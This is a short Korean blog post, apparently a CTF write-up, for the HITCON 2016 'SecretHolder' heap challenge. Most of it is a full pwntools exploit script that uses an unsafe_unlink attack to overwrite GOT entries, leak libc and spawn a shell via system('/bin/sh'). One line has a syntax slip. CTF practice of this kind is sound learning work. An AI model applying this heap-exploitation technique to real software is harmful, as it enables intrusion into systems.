Pwnable/CTF

HITCON 2016 SecretHolder

HSr00t 2017. 7. 11. 00:41


main 메뉴는 Kepp Wipe Renew 이 세가지가 있다.


그 세가지는 40 4000 40000 사이즈로 malloc free read 가 가능하고 40000사이즈를 주 사용하게된다.


mmap으로 할당하여서 heap에는 안 생기지만 free하고 다시 할당하면 어떤 flag때문인지 top 청크가 넒어서인지 

어쨋든 heap에 할당이된다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
 
p=process("./SecretHolder")
ME = 0x6020a8
libc = ELF("libc6_2.24-9ubuntu2.2_amd64.so")
print p.recvuntil('Renew secret\n')
 
def Keep(keep,data):
    p.sendline("1")
    print p.recvuntil('Huge secret\n')
    p.sendline(str(keep))
    print p.recv(1024)
    p.sendline(data)
    print p.recvuntil('Renew secret\n')
 
def Wipe(keep):
    p.sendline("2")
    print p.recvuntil('Huge secret\n')
    p.sendline(str(keep))
    print p.recvuntil('Renew secret\n')
 
def Renew(keep,data):
    p.sendline("3")
    print p.recvuntil('Huge secret\n')
    p.sendline(str(keep))
    print p.recv(1024)
    p.send(data)
    print p.recvuntil('Renew secret\n')
 
Keep(3,"CCCC")
Wipe(3)
Keep(1,"AAAA")
Keep(2,"BBBB")
Wipe(1)
Wipe(2)
Keep(3,"AACC")
Wipe(1)
Keep(1,"AAAA")
Keep(2,"BBBB")
 
payload = p64(0x0)
payload += p64(0x21)
payload += p64(ME-0x18)
payload += p64(ME-0x10)
 
payload += p64(0x20)
payload += p64(0x90)
payload += "A"*0x80
 
payload += p64(0x90)
payload += p64(0X91)
payload += "B"*0x80
 
payload += p64(0x90)
payload += p64(0x91)
 
Renew(3,payload)
Wipe(2)
 
 
payload = p64(0)*3
payload += p64(0x602018-0x10)
 
Renew(3,payload)
 
payload = p64(0)*2
payload += p64(0x4006c0)
Renew(3,payload)
 
 
payload = "/bin/sh;"
payload += "A"*16
 
 
Renew(1,payload)
 
p.sendline("2")
print p.recv(1024)
p.sendline("1")
print p.recvuntil(payload)
arena = u64(p.recv(6)+'\00\00'- 88
malloc_hook = arena-0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']
print hex(malloc_hook)
print hex(libc_base)
print hex(system)
 
print p.recvuntil('Renew secret\n')
 
Renew(3,p64(0)*2+p64(system))
 
p.sendline("2")
print p.recv(1024)
p.sendline("1")
p.interactive()
cs


처음 대충 기법을 이해하고 문제를 풀려고했을때에는 풀이를 봐도 이해도안되서 포기했다가 이 문제를 풀기위해 구글링을하고 

unsafe_unlink 기법 공부를 계속한후 문제를 푸니깐 문제가 쉽게 느껴졌다.